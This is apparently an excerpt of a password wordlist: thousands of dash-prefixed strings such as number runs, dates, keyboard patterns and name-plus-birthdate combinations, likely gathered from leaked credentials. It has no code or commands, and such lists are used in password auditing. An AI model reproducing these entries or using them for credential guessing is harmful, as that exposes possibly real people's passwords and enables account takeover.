-10321032 -103217 -103254171 -10327625 -103290666 -1032fire -1032ok -1032prin -1033 -103310 -1033119 -10331659 -10332 -103327 -103335 -10335021 -1033581dfcz -10336 -10336148 -103373103373 -103383 -103397 -1033cr -1033theedge -10340 -103422 -103426 -1034321 -1034502177 -10345110 -1034538tcm -10346 -1034691916 -10348775c -1034apd -1034ma -1034za401 -1035 -1035069 -10351035 -1035141vitalik -103517 -1035195 -1035348200 -10357 -10359439 -103596 -1036 -103605 -103620 -10362310 -10362310a -103630 -103654 -10367510 -10369340 -1037 -103703 -1037110371 -10377 -103778 -1037825120 -1037888506 -1038 -10381006 -1038113181 -10384 -103856 -1038611991 -10388052664 -1038829802 -10390101290 -10390jyc -1039485 -1039631994 -1039716100123 -1039726 -103977 -1039789055 -1039835b -103987 -1039980 -1039sso -103CVHU -103Freil -103walter7 -104 -104.EUR -1040 -104000 -104009 -1040125 -1040219 -104023 -10402601 -1040340984 -10405411 -104058 -10405tl -10406f -104070 -1040736ctu -104093 -1040992 -1040ruleZ -1040wind -1041010 -104104 -10411041 -1041127 -104119 -10412052qwe -10416 -1041754 -1041952 -1041985 -1041992 -1041park -1042 -1042056 -104216 -10425784 -1042616 -10428388n -104285963 -104312 -1043661 -1043708 -1043801 -1043908 -1043ir -1043vadim -1044 -1044010440 -10441054 -1044122 -1044602 -1044632101 -104469657 -1044753 -10450541562 -10450druzk -10451045 -10453 -104560 -10456210 -1045655153 -10457aqw -1045947710 -1045moto -10460010 -10460324 -1046152 -10461978chosen -10463 -104645661 -1046589st -104663 -1046669362 -10467660 -10469586 -1046carter2 -1046gcy4 -1047020662 -10471026 -104744421 -10475810 -104760 -104811 -10481251056 -1048289 -1048576 -1048576.512 -1048576a__ -10486400 -1048795 -1048co -1049 -10492320zaq -104932843 -104950104 -1049511856 -10498nos -1049977 -104999 -104DEST -104DRS -104b -104clonesrus -104layna -104mina95 -104ochiru104 -104u4ever -105 -1050 -10500 -105000 -10501609 -10503754 -10504 -1050410 -105048nico -1050514570 -1050633008 -1050tm1050 -105106107 -1051088* -10512 -10512NU6 -105130 -105141425 -1051419jens -10514624 -10515 -105155 -105171 -105178 -10518 -1051936renate -1051979 -1051982 -1051988 -105199 -1051995 -1051998 -1052 -105204 -105207 -1052269 -10522727 -105232 -105276 -1052904 -1053 -10533224 -1053593089 -1053cal -1053cars -1053r33 -1054 -105425424 -1054321 -105463 -105478256 -10548156510 -10549111 -105500 -105501 -105510 -10551055 -105511 -105519Zu -1055286 -105536 -1055997 -10559berlin -1056 -1056080 -10561056 -10562050 -1056226 -10562505776 -105627arc -10563 -10563emr -1056610263 -1056618525 -105685206 -10569 -10569739 -10569826 -1056adcb -105700 -105708 -10571057 -10571201 -10572523 -10574360 -105768 -10579394 -1057bb -1057unita -1058 -10581058 -10582 -1058481 -1058522 -10585453482506 -1058548 -10586 -10587501 -105878 -1058836 -1059401 -10595288 -10596Jw# -105974 -105S105sa -105XWC -105avb92 -105cdlm -105fue208 -105haase -105hassett -105kronk -105m48e44x -105tec64 -106 -1060 -1060037 -1060151081r$ -106098 -1061 -1061001331 -106115 -1061210612 -106148 -106166 -106181 -1061967 -1061982 -1061987 -1061992lily. -1061cal -1062 -10622 -106242 -106248767 -1062812 -106283radio -1063 -1063330 -106342 -1063532062 -106371 -1063951kill -1063ace -1064 -10641064 -106415789 -1064556203 -10645866 -1064741droon -106500 -1065205620 -106555 -1065576 -106562257 -1065873971 -1065874004 -1065ach16 -1065r1r6 -1066 -106600 -1066008 -106604ad -106610 -10661066 -10661848 -1066220 -10662234662234 -10662409 -1066733g -1066ad -1066hastings -1066kill -1067 -106700 -10670e19ef -1067100o -1067532 -1067dmc -1068 -106800 -106810 -10681068ab -10682 -10683 -10683438 -106867 -106868ss -1068910689 -10689pks -1068philou -1069 -10691901 -106934700 -1069443 -106956 -106983 -1069l2z -1069tb -106ae8a6 -106electrique -106gti -106pk510 -106saxo -106sportwr -106vivian -1070 -10700089 -10701 -107013 -10705 -107052 -1070571890 -1070689eustace -10710 -107100 -107105 -107107 -107107107 -1071101 -10711sbc -10712028 -107121 -107124 -1071252 -107137 -10713919820929 -107145 -1071455362 -1071616790 -10716zhuckram' -1071914 -1071967 -1071969 -1071982 -1071983 -1071990 -1071elder -10720 -107211 -1072122 -107228 -107230 -1072716 -10727678 -107299 -1072cart -107309646 -1073214 -1073431rot -1073577719 -1073741824 -107393 -107396 -1073spiel -1073x -1074 -107409 -10741074 -1074208866 -107476 -107497 -1074Bg -1075 -10750 -10752231 -107560 -10756wolt -1075858100 -10761076 -1076510765 -107667g -1076fm -1076nightwish -1076y -1077 -10772344 -1077423bosic -10775 -1077553 -107758450 -107759 -10777 -107777 -10777777 -107782600 -107786 -107792 -1077TheWolf -1078 -10781 -107810 -1078206 -10786 -10786bmp -1079 -1079097 -10791079 -1079513 -1079830 -1079833 -107999 -1079william -107b -107creel -107g848dq -107ghj107ghj -107loi -107s107s -107zina19922009 -108 -1080 -10800 -10801 -10801080 -10801ted -1080205a -10803060 -10807575 -108087282 -108089191 -1080BucK -1080fu -1080phpbb -1080wftd -1081 -108100 -108108 -108115 -108123 -10813297214 -108155 -108162 -1081838 -1081947 -1081978 -1081979 -1081983 -1081988 -1081ba -1081tivo -1082015! -1082223035 -10824 -108251 -1082514841 -10825649233 -1082605500 -108261179 -108290 -1083 -1083433 -10834480 -108350 -1083528 -1084 -108400 -10840895 -1084257972 -108437 -10843pat -108452 -108479 -1084g111zm0 -1085009 -10851577 -108534 -108542 -1085420598 -10856568 -108566 -1085784521 -108608 -10861086 -10862663 -1086394725 -10866 -10868 -1086877 -1086947vova -108710 -1087104 -1087124930 -108715 -1087290 -10873881pl -108761308 -10879 -108811 -1088200 -108852 -108854 -1088543e -108856 -10885610 -10888 -108888 -108889 -1089 -1089359 -108943694939 -108957 -10896814 -10896984 -1089721470 -108Caitanya -108dragons -108garaywa -108mcnair -108prunes -108wvp -109 -1090 -10901090 -10902 -10904003615 -10904462 -10905905 -10906 -1090693303 -1090737 -109080 -1090891362 -10908xvy -109090 -1090971695 -109098 -109099 -1091 -10910 -109109 -109114 -1091298 -1091985 -1091987 -1091md -1092 -1092002 -10921092 -109216843 -109221 -1092312 -1092458 -1092473 -1092551 -1092fiat -10932 -1093388 -10934 -1093447 -1093464221 -10936491 -10938309 -109394081 -1093961 -10944913 -109472srs -10950 -10951095 -109517 -1095oct -1096 -10962 -10964397444357 -10969 -109692 -1097 -10971985 -10972923 -109767 -1097763209 -1097848211 -10978713 -1097mk -1097wed -109804 -10981 -109850 -10987 -1098710462 -10987345 -109876 -10987654321 -109876543210 -10987654321f -1098780251 -1098ygliyk -1099 -109900876q -1099012328 -109908tn -109911 -109972 -109983 -10999 -109HyadPM -109bs9 -109cc6 -109elwood -109forphpbb -109khe -109p4 -109repulse -109verify -10A909 -10AMANDA10 -10Angelbab22 -10April -10BENDER -10Bqwl5 -10C30p50P -10CAORE -10Canbus -10Cazzo -10D248110D2481 -10Dec9457 -10DragonBitou!D@ -10E15zon3 -10EknJdAI -10Envelopes -10GcVh -10HS1976 -10INSPIRED12 -10J9i13m -10JULI2 -10Jr663493 -10JulianTi03 -10Julie1403 -10Kusala -10LALAKERS24 -10LLIT -10M319H5Ry -10Monkey -10NMWM811 -10O0KWx664 -10POOH -10Porize -10QuadmCP -10R7OTT943 -10Raffa -10Romahe74 -10Semilodei -10Swetusik79 -10THUNDER -10Totti -10W3r3w0lv35 -10WE---1 -10XMAX -10YnIuYd -10ZXT09 -10a11c -10a2a61a78 -10abril -10adr1980 -10aftcP -10age2rr -10agustus -10aise10 -10ajynfyf -10alltid -10anar011977 -10andsuper* -10anna10 -10as62me -10asdfgh -10aug2524 -10awokado -10b0rne -10b252 -10backstein -10bantilaw08 -10bartek -10bascelik01 -10batman1710 -10bd1cf3 -10bells -10bender -10benson -10berkleybear0 -10birdsgo -10books -10bora67 -10bravo -10bruno50 -10bt379ts -10c921 -10cairnban -10cats1dog -10cd19 -10central -10cents -10charizard10 -10chhyndra -10ciapek06 -10cilukba -10cimba02 -10clk500z4 -10commands -10complespe -10corngoop -10cs010329 -10cs0106136 -10cub40 -10cut15 -10cvols#1 -10cxfcnmt94 -10danson -10dec47ralph -10decembre1983 -10dekuip -10diana -10diana6lea -10diego -10dioni10 -10dogs -10dorkas29 -10dpj11 -10dragon -10drite -10dut365 -10dutchboy -10e5856c -10e6832a -10ec1430 -10eddedy -10eea998vb -10ehcBNP38 -10ekj5b98o -10ela -10elizabeth01 -10envelopes -10f -10faceoff12 -10fayuka -10fbbe5d -10feb1985 -10feb1989 -10fev87 -10fingers -10finks -10firesoul10 -10fish -10fold -10forward -10fuat,84 -10gallonhat -10gcfs -10gian -10gigs -10gilley -10gio57 -10git01 -10giugno -10gman25 -10gregore -10gs -10gtzasker -10gundams33d -10h02j62w -10h60iF -10handy4tin -10hapy4u2 -10haslo51 -10hassanrsca -10heissocute -10i10w65 -10ianhobson -10ii90 -10ikram778 -10iptest13 -10ja91 -10jackal101 -10janina119 -10janvier -10janvier1987 -10javds15 -10jazz62 -10jcimsg57 -10jeffalienn -10jesus1 -10jim28 -10jmlm6673 -10jn74 -10jrulesonx -10juin83 -10jul57ach -10june -10junho -10juni -10junior -10k21j39m -10kalamuup -10kara1gan -10katies13natz -10kenai07 -10kicsimacska -10kilosmenos -10kimjulius -10kira050504 -10kisses -10kiunys10 -10kleineneger -10kleneg -10kurt10kurt -10lF40g -10l_e007l -10lar3Nina -10lb1oz -10leonsquall -10lexie13 -10lillpitten -10lipiec89r -10lita -10llamas10 -10london -10loyek788 -10ltrf,hz1974 -10m10s84b -10mDDSm -10mPZdA5 -10ma45ga -10maj10 -10maj88 -10makako1986 -10mandiv46 -10manuel726 -10marat678 -10marc27774 -10marei02 -10mart -10marzo1962 -10matias2211 -10maxell -10mbx5 -10md180894 -10milan11 -10million -10minutennur -10moilo -10moitout -10monatmai -10moto -10mr70 -10mutti2112 -10n101 -10naranycho -10nippon13 -10norton -10o10o -10oaks -10ochtitlan -10octobre -10octubre -10oktober01 -10online -10otto76 -10overlook -10p6-uud -10pack77no -10pafos10 -10paya26 -10pazdziernik -10pele -10pepper -10petra0703 -10php10 -10pipiluca -10pizzas -10pleghtspe -10pogmahoine00 -10polarwww -10prasanna12 -10punket33 -10punkhoe1 -10purzel* -10pvXRww -10pzrzg5 -10q2ef -10qaz123 -10qaz123321 -10qoakzm -10qw031986 -10rN2N -10rastas -10rb24011978rb -10reP267 -10regisc -10rene! -10rj,tpmzy -10rodadefogo -10rodimaster -10ronaldo -10roni -10rororo123 -10ryxnet2132 -10sakis10 -10santocristo -10seanharris -10sec -10sep091980 -10sept -10sept77 -10sergwe -10shaw -10si6c8fc8bxnk -10simhelen -10six06 -10sixPV -10slimfaster -10sne1 -10snut -10soccer -10soleil -10sou4727 -10sparky10 -10sqrt2828427125 -10ss9413 -10steve2746 -10stille -10strike777 -10su10 -10suckers -10t650 -10tata -10taylor -10tel1w4t7 -10telefon5688 -10telefonde -10telstra123 -10tendioat -10test -10th -10theredisblue -10thoctober -10thplanet -10titicoco16 -10townsend9 -10trongngo -10truro10 -10u640r -10uc3km94 -10unicorn -10uo1SWP -10use20 -10usje -10v34u -10vI8m0 -10vampire -10vegas06 -10vetoetio -10viii -10vissen -10vo09va82 -10voli2 -10vols -10volteL -10wensar86 -10west -10wickelkl03 -10wlbnaf -10wnj00 -10wow game -10wxdf7ubx -10x07x1980 -10x357 -10x7fvgv -10xarilaos -10xgen20 -10xou82 -10xxxx -10y9pa1$ -10yayisman -10yoldgirls -10yougod -10z14 -10z18e8l -10za7jk79l -10zehnbier -10zeuslegolas -10zh1965hu -10zobisusi -11 -11 10 90 -11! -11#09*90g -11+18+22 -11-06-1989 -11-Jun-92 -11-sep -11.03.90. -11.05.92 -11.11.88 -11.6.90 -11.mae82 -11.maitri -11.orsina -11/04/1989 -11/09/1990 -11/6/27 -110 -110.85 -1100 -110000 -1100003004830 -110002616k -110010 -11001001 -1100101 -1100101Aa -1100101a -110011 -11001470a -11002 -110022b -110055gh7c -110060653 -11006564 -11007cri -110084 -1100900003 -11009041 -110096 -1100999wera -1100Beku- -1100beku- -1100kuku -1100mbars -1100nqaz -1101 -11010010 -110100101 -110101 -1101011 -11010157 -110101theo -110102 -110103 -110104 -110105 -110106 -110107 -110108 -11011 -110110 -11011000 -110110101 -110110110 -11011025 -110110995 -11011101 -110116 -110119 -11011973 -11011976 -11011976tn -11011978 -11011980 -11011981 -11011993 -110119933 -11011999 -110119tb -11011pW -11012002 -110131 -11013102169161 -1101397 -110156 -110159 -11016a -110171 -110173 -1101744305 -110174ad -110175 -110178 -110179 -11018 -110180 -1101802020 -110181 -110182 -110183 -110184 -110185 -110186 -110187 -110188 -110189 -110190 -1101903095 -110191 -110192 -110193 -110194 -1101940Hipo -110195 -110196 -1101977 -1101983 -110199 -1101990 -1101cedar -1101gsmb -1101robert92 -1102 -1102000 -11020073 -1102011d -110202 -110203 -110204 -110205 -110206 -110207 -110208 -110209 -11021102 -11021937 -11021975rw -11021976AAA -11021978 -11021981 -11021984 -11021985 -11021986 -11021986a -11021987 -11021988 -11021989 -11021990 -11021991 -11021992 -110220 -11022000 -11022001 -11022007 -1102213206 -11022324 -11022520sitt -1102341547 -110238 -110246 -110248 -110249 -1102518 -110252 -110254 -110256510 -110262 -110265 -110266 -110268 -110270 -11027389 -110274 -1102742503dc` -110275 -110277 -110278 -1102784 -110279 -110280 -110281 -1102812103 -110282 -110283 -110284 -110285 -110286 -110287 -110288 -110289 -110290 -110291 -110292 -110293 -110294 -110295 -110295km -110296 -1102961033 -110297 -110299 -1102amanda92 -1102lamax -1102myau -1103 -1103003 -110301 -110303 -110304 -11030424 -110305 -110306 -110307 -11030727 -110308 -110310963 -11031103 -11031112 -11031962 -11031972peso -11031975 -11031980 -11031984 -11031985 -11031986 -11031987 -11031989 -11031990 -11031993 -11031994ma -11032007 -110330008338 -1103312 -1103491288sk -1103495 -110351 -110359 -110365 -1103654c -110366 -110367 -11036708154711 -110368 -110369 -11037 -110372 -110375 -110376 -110378 -11037800a -110379 -110380 -110381 -110382 -110383 -110384 -1103843f -110385 -11038516 -110386 -110387 -110388 -110389 -1103891956 -110389271640 -110389ks -110390 -110391 -110392 -110393 -110394 -110395 -110396 -110397 -110398 -1103cl179 -1103ma -1103mb66 -1103qweenman -1103wf -1104 -110400 -11040010 -110402 -110403 -110404 -110405 -110406 -110407 -1104076321 -11041201 -11041970fghtkm -11041972 -11041977 -11041980 -11041981 -1104198228081985 -11041983 -11041984 -11041986 -11041989 -11041990 -11041991 -11041992 -11042 -110420 -11042000 -11042001 -110423 -11043 -110432 -110446 -110453 -110460 -110465 -110466 -110467 -110468 -110469 -110471 -110474 -110474l60314 -110475 -110476 -110477 -110477Seb -110478 -110479 -110480 -110481 -110482 -110483 -11048334 -110484 -110485 -110486 -110487 -110488 -110489 -110489m -110490 -110491 -110492 -110493 -110494 -110495 -110496 -1104Paula66 -1104gidou82 -1104loran -1104theflash -1104triplex88 -1105 -110500 -110501 -110502 -110503 -110504 -110505 -110506 -11050614 -110506jyd -110507 -11051105 -11051105jm -11051518 -11051964 -11051971VASY -11051975 -11051976 -11051981 -11051982 -11051983 -11051984martina -11051988j -11051989 -11051990 -11051992 -11051996 -11052008 -11052529 -110547 -11056 -110566-0pol -110567 -110571 -110573 -110575 -11057511 -110576 -110576110576 -110577 -110577s31610 -110578 -110579 -110580 -110581 -110582 -110583 -110584 -110585 -110585mo -110586 -110586op1930 -110586rw -110587 -110587dl -110588 -110589 -110590 -110591 -110591mp2echoes -110592 -110593 -110594 -110594MA -110594ma -110595 -110596 -110599 -1105_dreambox -1105chtsaigon -1105cumberland -1105mai -1105matty -1105pede -1105rkurhk -1106 -110600 -11060003 -110602 -110603 -110604 -110605 -110606 -110607 -110608 -11061106 -11061963bill -11061969 -11061970 -11061979 -11061980AT -11061981 -11061981matvey -11061984 -11061986Im -11061986karol -11061993 -11062005 -11062005danyel -11062005konzert -11062804 -1106326d6 -110651 -110655 -110661 -110662bhm -110666 -110670 -110671 -110674 -110675 -110677 -110678 -110679 -110679sergey -110680 -110681 -110682 -110683 -110684 -110685 -110686 -110686a -110687 -110688 -110689 -1106898A -110690 -110691 -110692 -110693 -110694 -110695 -110697sabrina -110699 -1106hassfurt -1106jen -1106jt -1106ntk -1107 -110704 -110705 -110706 -110707 -110708 -11070920 -110710 -11071107 -11071965 -11071980 -11071980qweasd -11071983 -11071985 -11071987 -11071997 -1107200 -11072006 -11072008 -11072369 -110730hrb -110751abc -110756 -110762 -110763 -110766 -110768 -110769 -110772elda -110775 -110776 -110778 -110779 -110780 -110781 -110782 -110783 -110784 -110785 -110786 -110787 -110788 -110788ggd -110789 -110790 -110791 -110792 -110793 -110794 -110795 -110796 -110798 -1107LOV -1107benji -1107co -1107msb -1107stu -1107tol -1107wg -1107zd257eby -1108 -110802 -110803 -110804 -110805 -110806 -110807 -110808 -110811 -11081108 -11081972Alex -11081978 -11081980 -11081983 -11081987 -11081988td -11081992 -11081993 -11081994 -11081995 -11081999 -11082007ic -11082522 -11083njxrf -11084 -110850ugar -1108567997 -11086 -1108611086 -110862 -110864 -1108678783 -110868 -110870 -110873vsmv -110874 -110878 -110879 -110880 -110881 -1108812507 -1108813722 -110882 -110882333doom -110883 -110884 -110885 -110886 -110887 -110888 -110889 -110889gizmo -110890 -110891 -110892 -110893 -110894 -110895 -1108951 -110896 -110897 -110899 -1108LINAD -1108cv -1108ma -1109 -110900 -110901 -110902 -110903 -110904 -110905 -110906 -110907 -11090707 -110907502a -11091103 -11091402 -11091975werty -11091978 -11091978Rocko -11091979 -11091980 -11091980VERI -11091985 -11091989 -11091991 -11091992 -11091996 -11092 -11092001 -11092006 -11092j -11094 -110946 -110950 -110960 -110966sm -110969 -110970w50531 -110971r -110972 -11097211 -110974 -110977 -110979 -110980 -110981 -110981clio -110982 -110983 -110984 -110985 -110986 -110987 -110988 -110989 -110989ua -110990 -110991 -110992 -110993 -110994 -110995 -110996 -110997 -1109btgnr -1109cd -1109matt -1109n526 -1109s -110JBaYa -110Linwood -110YAli -110elode -110ffc623ae90b84 -110mia110 -110mobil -111 -111-msi -111... -1110 -111000 -11100101 -111003 -111004 -111005 -111006 -111007 -1110101 -1110111 -11101182 -11101264 -111019 -11101971 -11101977 -11101978 -11101982 -11101985 -11101988 -11101989 -11101991 -11101993 -11101993tomek -11102 -11102006 -1110458 -111048 -111050 -111060 -111061 -111065 -111067 -111070 -111071 -111072 -111073 -111075 -111075cumple -111077 -111077r20713 -111079 -111080 -111081 -111082 -111084 -111084sj -111085 -111086 -111087 -111088 -111089 -111090 -111091 -111091l -111092 -111093 -111094 -111094utab -111095 -111096 -1110976 -111098 -111099 -111099rw -1110gr -1110isa -1110rudi1952 -1110v3cvn -1111 -111100 -1111000111 -111100130 -111101 -111103 -111104 -111105 -111106 -111107 -111108 -11111 -11111* -111110 -111111 -1111110 -1111111 -11111110 -11111111 -111111111 -1111111111 -11111111111 -111111111111 -111111111111111 -11111111a -11111111abcz -11111111e -11111111kirdyk -11111112 -11111118 -1111111q -1111112 -11111122 -1111116 -1111119 -111111[ -111111a -111111athletics -111111f -111111iNET -111111q -111111t -111111x -111112 -11111234 -111116 -111117 -111119 -11111953 -11111958 -11111971 -11111976 -11111978 -111119790 -11111980 -11111982 -11111983 -11111986 -11111987 -11111988grabiels -11111989 -11111991 -1111199125 -11111992 -11111994 -11111a -11111aaaaa -11111q -11111w -11112 -11112003 -11112005 -11112005guler -111122 -11112222 -111123 -111123R -11112411 -1111251a -111125a -111133 -11114 -11114444 -111145958 -111147 -111166 -111167 -111170 -111171 -111174 -111175 -111176 -111177 -11117765 -111179 -111180 -111180Alex -111181 -111182 -111183 -1111830 -111184 -111185 -111186 -111187 -111188 -11118800 -111189 -11118913 -111189ds -111190 -111191 -111192 -111193 -111194 -111195 -111196 -1111965 -1111976by -1111985 -1111987 -111199 -11119999 -11119sunfo -1111WWWWYYYY -1111aaaa -1111aaaaaa -1111aline -1111cba2222 -1111eeee -1111frzfrz -1111kats -1111q5555e -1111zus -1112 -1112+1004 -111201 -111202 -11120204 -111203 -111204 -111205 -111206 -111207 -111208 -11120926 -111211 -11121112 -11121147 -11121260 -111212z -111213 -11121314 -1112131415 -11121333 -111213Aa -111214111 -11121965 -11121975 -11121977 -11121981 -11121982 -11121985 -11121987 -11121988 -11121989 -11121990 -11121991 -11121992 -11121994 -111219942911 -11122 -111222 -11122233 -111222333 -111222333666 -11122233k -111222777 -111222ce -111222qw3s -111223 -1112230312 -11122529 -11123011 -111234 -111236 -1112365299 -111237pmmg -1112389914 -111246 -111247 -1112514 -111252 -111254 -111254es -111257 -111261 -111261PWr -111264 -111266 -111269m20723 -111272 -111273 -111275 -111278 -111279 -111279_AV -111280 -111281 -111282 -111283 -111284 -111285 -111286 -111287 -111288 -111289 -111290 -111291 -111292 -111293 -11129341191733 -111294 -111295 -111298 -111299 -1112cdbeb -1112ice -1112ok -1112raj -1113 -111300 -11130000 -111300mmi -1113102735 -11131113 -11131545 -111317 -1113171923 -11131969 -11131978 -11131982 -11131994 -111330937 -111331350 -111333 -111333555 -11134369 -111351 -111354 -111356tj -111357 -111365 -111369 -1113797 -111385 -111386 -111387 -111388 -111389 -111390 -111391 -111392 -111393 -111399 -1113d -1113d02940 -1114 -111400 -1114022ayam -111403 -111404 -111405 -111406 -111406rtcm -111414 -1114162 -11141887 -111419 -11141950 -11141975 -11141979 -1114219979 -111426 -111444 -111444777 -111444999 -111456 -11146074 -11146215 -111471919 -111482 -111486 -111487 -111488 -111489 -111489k -111490 -111491 -111492 -111495 -111497 -111498 -111499 -1114998468 -1114Thermalt -1115 -11150 -111504 -111505 -111505102j -111506 -111508 -11150976 -11151026 -11151511 -11151967 -11151975 -11151978 -11151998 -111520114 -111540 -111543 -111545 -111547 -111555 -111563 -111574 -111576 -111579 -111580 -1115814 -111582 -111584 -111585 -111586 -111587 -111588 -111589 -111590 -111591 -111592 -111593 -111599ae -1115myles -1115word -1116 -111602 -111603 -11160404 -111606 -1116088241 -11161116 -111619 -11161994l -11162001 -111626 -111628 -111630487 -111664 -111666 -111666ben -111667 -111669 -111678 -111679 -11167bob -111682 -111684l -111686 -111687 -111688 -111689 -111690 -111691 -111692 -111693 -111695 -1116marsha -1117 -111700 -111701 -111704 -111705 -111706 -1117195v -11174 -111753 -111764 -111773 -111774 -111777 -111779 -111782 -111784 -111785 -111786 -111787 -111788 -111789 -111790 -111791 -1117912 -111792 -111796 -111797 -111798 -1117iat76 -1118 -111805 -111806 -11181049 -11181118 -11182002 -111822 -111823 -1118263403 -1118308 -11183406 -11183468 -111855 -11185518 -11186 -1118661550 -11187 -111870clel -111875 -111881 -1118810616 -111882 -111883 -111884 -111885 -111886 -111887 -111888 -111889 -111890 -111891 -111892 -111893 -111894 -111895 -111896 -111897 -1118996333bla -111899kbt -1118hannah -1118oksou -1119 -111903 -111905 -1119050067 -111906 -111906B -1119151 -11191983 -11191benoit -111925 -111937 -11195 -111950 -11195888 -111964 -1119644 -111966 -111969 -111972 -111975 -111976 -111977 -111978 -111979 -111979konya42 -111980 -111981 -11198130 -111982 -111983 -111983r -111984 -111985 -111986 -111987 -111988 -111989 -111989wintermau -11199 -111990 -111991 -111992 -111993 -111994 -111995 -111996 -111997 -111999 -111@$$shn -111PlatoN0 -111RW3V1 -111a -111aaa -111aaaa -111abwq -111alex -111anne -111dymek -111egor -111fctr-. -111feno571 -111fight -111flex -111fr1 -111hah03 -111haight -111harry -111hotdog -111jdv -111juju -111kranich -111lucky -111peterdr -111qaz -111qqq -111quake111 -111qwe -111rychu111 -111sss04 -111usa111 -111vanyloh -111wb111 -111wlu888 -111ykTzTBEY -112 -1120 -112000 -112002 -112003 -112003af -112003haf -112004 -112005 -112006 -112007 -112008 -112009 -11201120 -112011M -11201282k019 -11201991 -11202 -11202004n -1120241185 -112025 -112029464 -11202nashallie -112032vano -1120350 -11203refref -11204 -112049 -112055 -11206 -112065 -112070 -112073 -112074252 -1120747 -112078 -112081 -112082 -112082kl -112083 -112084 -112085 -112086 -112087 -112088 -112089 -112090 -112091 -112092 -112093 -112095 -112097 -112099 -1120990 -1120D5 -1121 -112100 -112102 -112103 -11210330 -112104 -112105 -112106 -11210902 -11211 -112111 -11211121 -112112 -112112112 -1121124 -112112q -112113 -112113xyz -112114 -11211a -11212 -11212001 -112123 -112123123412345 -1121233 -112124 -11213 -112131 -1121321 -112143 -1121454809 -112154 -11216176 -112164 -112168wq -112169 -11217161 -112172 -112175 -112176 -112178 -112180 -112181 -112182 -112183 -112183redsox -112184 -112185 -112186 -112186r -112187 -112188 -112189 -11219 -112190 -112191 -112192 -112193 -112194 -1121950 -1121957 -1121961SC -1121984 -1121985 -1121986 -112198622511 -1121994 -1121997barti -1121QQWQ -1122 -11220 -112200 -1122001 -1122002 -1122003 -1122007733 -112200aa -112202 -112203 -112203LS -112204 -11220419 -112205 -112206 -112207 -112209 -112209bor84 -11221 -11221012 -112211 -11221122 -1122112213 -1122114280387 -112212 -11221208 -11221221333 -1122124 -112214bk -112215 -1122167kj -11222001 -112221 -1122223333 -112223 -112223116 -112224 -11223 -112233 -112233!!@@## -1122330 -11223300 -11223311 -1122331111 -1122331123 -1122331456673 -1122331diesel -11223322 -1122333 -1122334 -11223344 -112233445 -1122334455 -112233445566 -1122334455667788 -1122334456 -11223355 -1122336 -1122337zx -11223388 -11223389 -112233aabbcc -112233c -112233j -112233lol -112233m -112233me -112233nb -112233q -112233qqwwee -112233s -112233tga -112234 -1122398 -112244 -112244gb -112248963 -112251 -112252 -112253 -112255 -11225566 -112257 -11225700 -112259 -1122614 -112263 -112266 -112266324 -112266qq -112267CLM -112267L -112269 -112276 -112277 -1122789Ka -112280 -112281 -112282 -112283 -112284 -112285 -112286 -112287 -112288 -112289 -112290 -112291 -112292 -112293 -112294 -11229440 -112295 -11229595 -112296 -112299 -1122Helio -1122aaqq -1122batang -1122bb -1122boboavu/ -1122gallina321 -1122pollytop -1122puki -1122xx -1123 -112300 -112302 -112303 -112304 -112305 -112305a -112306 -112307 -112311 -11231123 -112312 -112312t -112317 -112319 -11231954 -11231976 -11232245 -112324591 -112325237899 -11232918 -11232ub99 -11233 -112334556778990 -11234 -112345 -1123455 -1123456 -112347 -11234graZIA -11235 -112358 -11235812 -11235813 -1123581321 -1123581321*Pe -112358132134 -1123581321ldv -1123581321vkb -1123581321wertyq -112358134711 -11235813dk -11235813tomo -11235trf -11235vinci -112360 -112366 -112366547789o -112368 -112377 -112378 -112379 -11237boricua -112380 -112381 -112381tam4r4 -112382 -112383 -112384 -112385 -11238515 -112386 -112387 -112388 -112389 -112390 -112391 -112392 -112393 -112394 -112395nyca -112396 -112399 -1123dx -1123fibo -1123keshawn -1123mp -1123nicolas -1123qwe -1123tj -1124 -112400 -112403 -112404 -112405 -112406 -11241124 -112413 -11241514 -112417 -112424 -112427 -112428 -11243633 -11243763 -1124396578 -11244 -11244293 -11245 -11245043 -1124525683 -1124557800 -112456 -112456b -112457 -11246144 -112465 -112466 -112472 -112477 -112478 -112479 -112480 -112481 -1124816 -112482 -112483 -11248392 -112484 -112485 -112486 -112487 -112488 -112489 -112490 -112491 -112492 -112493 -112495 -112496 -112499levy -1124ak -1124ss -112500 -112502 -112503 -112504 -112505 -112506 -112509 -11251125 -11251995 -112523 -112525 -112526 -112527 -112528 -112531 -112550 -1125517 -112557 -112563 -112566 -112569 -112576anis -112578 -112580 -112581 -112582 -1125820 -112583 -11258319 -112584 -112585 -112586 -112586rc -112587 -112588 -112589 -112589j -112590 -112591 -112592 -112593 -112595 -112596a -112597 -1125happy -1126 -112605 -112606 -11261126 -112612 -11261971 -11261974 -11261983 -11262327 -11262431 -1126362702 -1126385 -11264664 -112649 -112653 -11266122 -112663 -112667jt -112668 -112669 -112674 -112681 -112682 -112683 -112684 -11268426841989 -112685 -112686 -112687 -112688 -112689 -112689c -112689mg -112690 -112691 -112692 -112693 -112697 -112699 -1127 -11270 -112702 -112703 -112704 -1127044 -112705 -112706 -11270htt -112711 -11271975 -1127213 -11272200 -112723 -112728 -112755 -112759 -112766 -112769 -112773 -112774 -112776 -112780 -112781 -112782 -112783 -112784 -112785 -112786 -112787 -112788 -112789 -1127892404042 -112789gk -112790 -112791 -112792 -112793 -112794 -112795 -112799 -1127donato -1128 -112802 -1128025976 -112803 -112804 -112805 -112805tmw -112806 -112807 -11281128 -112818592287 -112829 -11283 -112844 -1128456 -11285400 -112859 -11286 -112863 -112866 -1128666 -112869 -112869jrjr -112870 -112871 -112875 -112878 -112879 -11288 -112880 -112882 -112882c -112883 -112884 -112885 -112886 -112887 -1128874 -112888 -112889 -11289 -112890 -112891 -112892 -112893 -112894 -112895 -112896m -112898 -1128cb -1128cm8420 -1128dcl -1128jcb -1128kids -1128vpoh -1129 -112901 -112903 -112905 -112906 -11290a -11291129 -1129195150dil -11291985 -11291986 -11291994 -112935 -1129391817* -112949pch -11295181 -112952 -112960 -112968 -11297105 -112977 -112978 -112980 -1129806 -112981 -112982 -112983 -112984 -112985 -112986 -112987 -112988 -112989 -112990 -112991 -112992 -112993 -112997 -112B5X3297 -112Kazam@ -112LOf13e -112cks -112diiuxli -112e391b -112ebljgreblj -112giovane -112hugar -112jesus -112joy -112leeuwarden -112lover -112mann -112sj -112vSP2l -112xx358 -113 -1130 -113005 -113014286 -11301971 -1130207664 -1130271276 -113049 -113058 -113079 -1130790 -113080 -113081 -113082 -1130830127 -113084 -113085 -113086 -113087 -113088 -113089 -11309 -113090 -113090cs420 -113091 -113092 -113093 -113094 -113095620t -113096 -113099 -1130bjpg -1130lilly 